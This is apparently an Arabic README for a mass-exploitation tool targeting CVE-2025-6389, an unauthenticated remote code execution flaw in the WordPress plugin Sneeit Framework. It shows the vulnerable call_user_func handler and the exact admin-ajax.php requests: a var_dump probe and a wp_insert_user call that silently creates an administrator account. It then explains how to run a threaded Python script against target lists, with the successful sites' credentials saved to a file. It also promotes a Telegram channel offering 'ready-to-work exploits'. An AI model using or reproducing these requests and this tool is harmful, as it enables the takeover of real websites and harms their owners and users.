
Sneeit Framework <= 8.3 - تنفيذ أكواد عن بُعد بدون مصادقة في sneeit_articles_pagination_callback
Sneeit Framework <= 8.3 - تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في sneeit_articles_pagination_callback
_______ ________ ___ ___ ___ _____ __ ____ ___ ___
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| / /|___ \ / _ \ / _ \
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ / /_ __) | (_) | (_) |
| | \ \/ / | __|______/ /| | | |/ /|___ \______| '_ \|__ < > _ < \__, |
| |____ \ / | |____ / /_| |_| / /_ ___) | | (_) |__) | (_) | / /
\_____| \/ |______| |____|\___|/____|____/ \___/____/ \___/ /_/
📡 لا تفوّت الإصدار القادم. تابع @KNxploited على تيليجرام — القناة المرجعية لثغرات CVE المُعلنة حديثًا، والاستغلالات الجاهزة للعمل، وأبحاث الأمن المتقدمة. الأول علمًا. الأول فعلًا.
CVE-2025-6389 هي ثغرة حرجة بتقييم CVSS 9.8 من نوع تنفيذ التعليمات البرمجية عن بُعد (RCE) اكتُشفت في إضافة Sneeit Framework الخاصة بووردبريس.
يكمن الخلل في دالة sneeit_articles_pagination_callback()، التي تمرّر مدخلات يوفّرها المستخدم بشكل أعمى إلى دالة call_user_func() في PHP — إذ يمكن لمهاجم غير مصادَق استدعاء أي دالة PHP بوسائط عشوائية، بما في ذلك wp_insert_user، ما يمنحه فعليًا صلاحيات مدير كاملة أو يتيح له تنفيذ أي كود على الخادم.
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2025-6389 |
| الإضافة | Sneeit Framework (sneeit-framework) |
| الإصدارات المتأثرة | جميع الإصدارات حتى 8.3 شاملة |
| نوع الثغرة | تنفيذ التعليمات البرمجية عن بُعد (RCE) |
| متجه الهجوم | الشبكة — لا يتطلب مصادقة |
| نتيجة CVSS 3.1 | 9.8 حرجة |
| متجه CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| الأثر | اختراق كامل للخادم / الاستيلاء على حساب المدير |
| الباحث | Nxploited |
السبب الجذري هو إساءة استخدام دالة call_user_func() في PHP داخل معالج AJAX الخاص بالإضافة:
// Registered without authentication check
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');
function sneeit_articles_pagination_callback() {
$callback = $_POST['callback']; // ← User-controlled function name
$args = json_decode(stripslashes($_POST['args']), true); // ← User-controlled args
// Calling ANY PHP function with ANY arguments — zero validation
$result = call_user_func($callback, ...$args);
echo $result;
die();
}
لماذا هذه الثغرة حرجة؟
wp_ajax_nopriv_* = يمكن الوصول إليها من أي شخص، دون الحاجة إلى تسجيل الدخولcall_user_func($callback, $args) = استدعاء تعسفي لأي دالةvar_dump أو system أو wp_insert_user أو eval أو أي دالة PHP/ووردبريسStep 1 — Probe / Fingerprint
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = var_dump
args = ["test"]
Expected Response → array(1) { [0]=> string(4) "test" }
↓
Confirms: call_user_func() is reachable and reflecting output
──────────────────────────────────────────────────────────────────
Step 2 — Admin Account Creation
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = wp_insert_user
args = {"user_login":"Nxploited_XXXX",
"user_pass":"xplpass",
"user_email":"...",
"role":"administrator"}
Result → New administrator account silently created on target
↓
Full WordPress admin panel access achieved ✔️
pip install requests rich
| التبعية | الغرض |
|---|---|
requests | طلبات HTTP مع دعم الجلسات والبروكسي |
rich | لوحة تحكم حية في الطرفية، لوحات، مؤشرات تقدم |
threading | معالجة متزامنة لأهداف متعددة |
queue | توزيع الأهداف بطريقة آمنة للخيوط |
يتطلب Python 3.8+. تستخدم تلميحات الأنواع صيغة
tuple[...]التي ظهرت في 3.9+ — استخدم 3.9+ للحصول على أفضل توافق.
CVE-2025-6389/
├── CVE-2025-6389.py # Main exploit script
├── list.txt # Target URLs — one per line
├── success_results.txt # Auto-generated: successful targets + credentials
└── debug_responses/ # Auto-generated: raw server responses for debugging
└── <target>.resp.txt
أنشئ ملف list.txt مع رابط واحد في كل سطر:
https://target1.com
https://target2.com
http://target3.com
الروابط التي لا تحتوي على
http://أوhttps://تُضاف إليها تلقائيًا بادئةhttp://.
python CVE-2025-6389.py
سيُطلب منك:
Targets file name (default list.txt): list.txt
Number of threads (default 10): 20
تشغّل الأداة لوحة تحكم Rich لحظية تعرض:
┌─────────────────────────────────────────────────────────────────────┐
│ [ASCII BANNER] │
├──────────────────────────────┬──────────────────────────────────────┤
│ Info │ Stats │
│ Usage: Put targets in... │ Total Targets: 150 │
│ Threads: 20 │ Processed: 87 │
│ Password: xplpass │ Successes: 12 │
│ Success Log: success... │ Failures: 75 │
│ Debug Dir: debug_responses │ Elapsed: 00:01:43 │
├──────────────────────────────┴──────────────────────────────────────┤
│ Recent Results │
│ Time Target Result │
│ 14:23:01 https://victim.com SUCCESS │
│ 14:23:03 https://example.net FAIL │
└─────────────────────────────────────────────────────────────────────┘
الاستغلالات الناجحة تُحفظ في success_results.txt:
https://victim.com | USER: Nxploited_4821 | PASS: xplpass | EMAIL: [email protected]
استجابات التصحيح (للأهداف الفاشلة) تُحفظ تحت debug_responses/:
debug_responses/
└── https___victim.com.resp.txt ← Raw server response for analysis